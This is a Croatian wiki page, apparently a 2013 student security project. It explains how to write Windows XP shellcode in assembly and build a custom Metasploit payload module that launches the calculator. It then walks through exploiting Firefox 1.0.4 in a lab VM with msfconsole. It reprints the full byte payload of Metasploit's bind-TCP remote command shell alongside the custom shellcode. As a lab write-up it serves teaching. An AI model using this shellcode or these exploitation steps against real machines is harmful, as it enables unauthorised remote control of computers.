U računalnoj sigurnosti, shellcode je mali dio koda koji se koristi kao payload prilikom eksploatacije ranjivosti softwarea. Naziva se "shellcode" (kod iz ljuske) jer obično pokreće naredbenu ljusku sa koje napadač može kontrolirati kompromitirano računalo, ali se i svaki komad koda koji obavlja slične zadatke može nazvati shellcode.

Postupak izrade vlastitog shellcodea

Za izradu vlastitog shellcode-a potrebno je poznavati assembler i operacijski sustav za koji se piše shellcode. U nastavku je dan opis kreiranje command execution shellcodea za Windows XP SP2 os (slično je i za druge verzija Windows OS-a, samo se korištene funkcije operacijskog sustava nalaze na drugim memorijskim lokacijama pa je potrebno promijeniti te adrese u assembler kodu).

Sljedeći assembler kod može nam poslužiti za kreiranje shellcodea koji kod izvršavanja pokreće notepad. Adrese WinExec i ExitProcess koje su korištene u assembler kodu odnose se Windows XP SP2 en.

[Section .text]

BITS 32

global _start

_start:

jmp short GetCommand
CommandReturn:
    pop ebx ;ebx now points to the string

    xor eax,eax
    push eax
    push ebx
    mov ebx,0x7c8615b5 ;place address of WinExec into ebx
    call ebx

    xor eax,eax
    push eax
    mov ebx, 0x7c81ca82 ;place address of ExitProcess into ebx
    call ebx

GetCommand:
    call CommandReturn
    db "cmd.exe /c notepad"
    db 0x00

Datoteka se može spremiti pod imenom 1.asm, i nakon toga u linux terminalu upišemo naredbu

nasm -f bin -o notepad.bin notepad.asm

Da bismo dobili shellcode moramo iskoristiti naredbu

xxd -i notepad.bin 

Time se dobiva sljedeći shellcode

  0xeb, 0x16, 0x5b, 0x31, 0xc0, 0x50, 0x53, 0xbb, 0xb5, 0x15, 0x86, 0x7c,
  0xff, 0xd3, 0x31, 0xc0, 0x50, 0xbb, 0x82, 0xca, 0x81, 0x7c, 0xff, 0xd3,
  0xe8, 0xe5, 0xff, 0xff, 0xff, 0x63, 0x6d, 0x64, 0x2e, 0x65, 0x78, 0x65,
  0x20, 0x2f, 0x63, 0x20, 0x6e, 0x6f, 0x74, 0x65, 0x70, 0x61, 0x64, 0x00


--Krudjuras 14:05, 19. siječnja 2013. (CET)

Praktični dio - primjer izrade payloada

Kod na kojemu će se temeljiti novi payload je sljedeći

require 'msf/core'
require 'msf/core/handler/bind_tcp'
require 'msf/base/sessions/command_shell'
require 'msf/base/sessions/command_shell_options'

module Metasploit3

	include Msf::Payload::Windows
	include Msf::Payload::Single
	include Msf::Sessions::CommandShellOptions

	def initialize(info = {})
		super(merge_info(info,
			'Name'          => 'Windows Command Shell, Bind TCP Inline',
			'Version'       => '$Revision$',
			'Description'   => 'Listen for a connection and spawn a command shell',
			'Author'        => [ 'vlad902', 'sf' ],
			'License'       => MSF_LICENSE,
			'Platform'      => 'win',
			'Arch'          => ARCH_X86,
			'Handler'       => Msf::Handler::BindTcp,
			'Session'       => Msf::Sessions::CommandShell,
			'Payload'       =>
				{
					'Offsets' =>
						{
							'LPORT'    => [ 201, 'n' ],
							'EXITFUNC' => [ 311, 'V' ],
						},
					'Payload' =>
						"\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" +
						"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" +
						"\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" +
						"\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" +
						"\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" +
						"\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" +
						"\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" +
						"\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" +
						"\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" +
						"\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5F\x54\x68\x4C\x77\x26\x07" +
						"\xFF\xD5\xB8\x90\x01\x00\x00\x29\xC4\x54\x50\x68\x29\x80\x6B\x00" +
						"\xFF\xD5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xEA\x0F\xDF\xE0\xFF" +
						"\xD5\x89\xC7\x31\xDB\x53\x68\x02\x00\x11\x5C\x89\xE6\x6A\x10\x56" +
						"\x57\x68\xC2\xDB\x37\x67\xFF\xD5\x53\x57\x68\xB7\xE9\x38\xFF\xFF" +
						"\xD5\x53\x53\x57\x68\x74\xEC\x3B\xE1\xFF\xD5\x57\x89\xC7\x68\x75" +
						"\x6E\x4D\x61\xFF\xD5\x68\x63\x6D\x64\x00\x89\xE3\x57\x57\x57\x31" +
						"\xF6\x6A\x12\x59\x56\xE2\xFD\x66\xC7\x44\x24\x3C\x01\x01\x8D\x44" +
						"\x24\x10\xC6\x00\x44\x54\x50\x56\x56\x56\x46\x56\x4E\x56\x56\x53" +
						"\x56\x68\x79\xCC\x3F\x86\xFF\xD5\x89\xE0\x4E\x56\x46\xFF\x30\x68" +
						"\x08\x87\x1D\x60\xFF\xD5\xBB\xE0\x1D\x2A\x0A\x68\xA6\x95\xBD\x9D" +
						"\xFF\xD5\x3C\x06\x7C\x0A\x80\xFB\xE0\x75\x05\xBB\x47\x13\x72\x6F" +
						"\x6A\x00\x53\xFF\xD5"
				}
			))
	end

end

Izradit ćemo payload koji kod izvršenja pokreće novu instancu kalkulator aplikacije na Windowsima XP SP3. Za to je iskorišten shellcode sa sljedeće Web stranice: http://www.shell-storm.org/shellcode/shellcode-windows.php

Konačni sadržaj kreiranog modula je sljedeći

require 'msf/core'
require 'msf/core/payload/windows/exec'


module Metasploit3

	include Msf::Payload::Windows
	include Msf::Payload::Single

	def initialize(info = {})
		super(update_info(info,
			'Name'          => 'SIS - projekt - Spawn calc',
			'Version'       => '$Revision$',
			'Description'   => 'SIS - projekt - Spawn calc',
			'Author'        => [ 'Krunoslav Đuras' ],
			'License'       => BSD_LICENSE,
			'Platform'      => 'win',
			'Arch'          => ARCH_X86,
			'Privileged'    => false,
			'Payload'       =>
			{
				'Offsets' => { },
				'Payload' =>	        
				  "\x31\xC9" +
				  "\x51" +
				  "\x68\x63\x61\x6C\x63" +
				  "\x54" +
				  "\xB8\xC7\x93\xC2\x77" +
				  "\xFF\xD0"  
			}
			))

		# EXITFUNC is not supported :/
		deregister_options('EXITFUNC')
	end

end

Kada sada odaberemo ovaj modul kao payload kod exploitacije računala, kod uspješne exploitacije će se kreirati novi proces windows kalkulatora.

--Krudjuras 11:53, 19. siječnja 2013. (CET)

Praktični dio - primjer exploitacije ranjivog računala

U sljedećem primjeru prikazana je exploitacija računala sa instaliranim Windows XP SP3 operacijskim sustavom i Firefox 1.0.4. browsera sa sigurnosnim propustom.

Za payload je korišten prethodno kreiran modul koji kod izvršenja pokreće Windows calc aplikaciju.

Prvo se mora pokrenuti msfconsole upisom naredbe

msfconsole

u linux terminal.

Nakon toga odabire se eksploit koji će se koristiti. Mi smo se odlučili za exploit koji iskorištava ranjivost Firefox btowsera verzije 1.0.4. Da bismo odabrali taj exploit u msfconsole moramo upisati naredbu

use exploit/multi/browser/mozilla_compareto
Exploiting 1.png

Općenito se nakon odabira exploita može provjeriti da li on se može iskoristiti. Za to se koristi naredba check. Neki exploitovi ne podržavaju provjeru, pa tako i odabrani exploit ne podržava provjeru ranjivosti.

Nakon toga odabiremo payload pomoću naredbe

set payload windows/spawncalc
Exploiting 2.png

Time smo odabrali payload koji smo sami kreirali i stavili u za to namjenjen direktorij MSF-a.

Nakon toga se podešavaju opcije za exploit i payload. Naš payload nema dodatnih parametara, pa možemo pomoću naredbe

show options

vidjeti koje parametre exploita možemo podesiti.

Exploiting 3.png


Nakon toga postavljamo port na kojem će bit dostupan exploit

set SRVPORT 7673

Sa naredbom

exploit

se pokreće exploit.

Exploiting 4.png

Sada smo dobili link koji mora otvoriti ranjivi Firefox kako bi se izvršio payload, u ovom slučaju ta adresa je

http://192.168.1.249:7673/9ihDnSJ8bri

Ranjivo računalo pokrenuto u VirtualBoxu prikazano je na sljedećoj slici

Exploiting 5.png

Otvaranjem dobivenog linka u ranjivom Firefoxu iskorištava se sigurnosni propust te se aktivira payload koji smo kreirali - pokreće se calc.exe

Exploiting 6.png


--Krudjuras 13:17, 19. siječnja 2013. (CET)

Literatura

  1. https://media.defcon.org/dc-19/presentations/Carey/DEFCON-19-Carey-Metasploit-vSploit-Modules.pdf
  2. http://www.fishnetsecurity.com/6labs/blog/scripting-metasploit-python
  3. http://en.wikibooks.org/wiki/Metasploit/MeterpreterClient
  4. http://www.darkoperator.com/blog/2010/5/26/setting-up-rvm-and-irb-for-metasploit-development-in-backtra.html
  5. https://github.com/rapid7/metasploit-framework/wiki/Metasploit-Development-Environment
  6. https://www.corelan.be/index.php/2009/08/12/exploit-writing-tutorials-part-4-from-exploit-to-metasploit-the-basics/
  7. http://dev.metasploit.com/redmine/projects/framework/wiki/DeveloperGuide
  8. http://www.securityhunk.com/2010/11/metasploit-guide-for-beginners-and.html
  9. http://www.offensive-security.com/metasploit-unleashed/Metasploit_Architecture
  10. http://dev.metasploit.com/documents/users_guide.pdf
  11. http://securityblog.gr/1042/metasploit-interfaces-part-2/
  12. http://www.linuxforu.com/2010/10/metasploit-exploit-framework-for-penetration-testers/
  13. http://projectshellcode.com/?q=node/12
  14. http://www.shell-storm.org/shellcode/shellcode-windows.php
Osobni alati
Imenski prostori
Inačice
Radnje
Orijentacija
Traka s alatima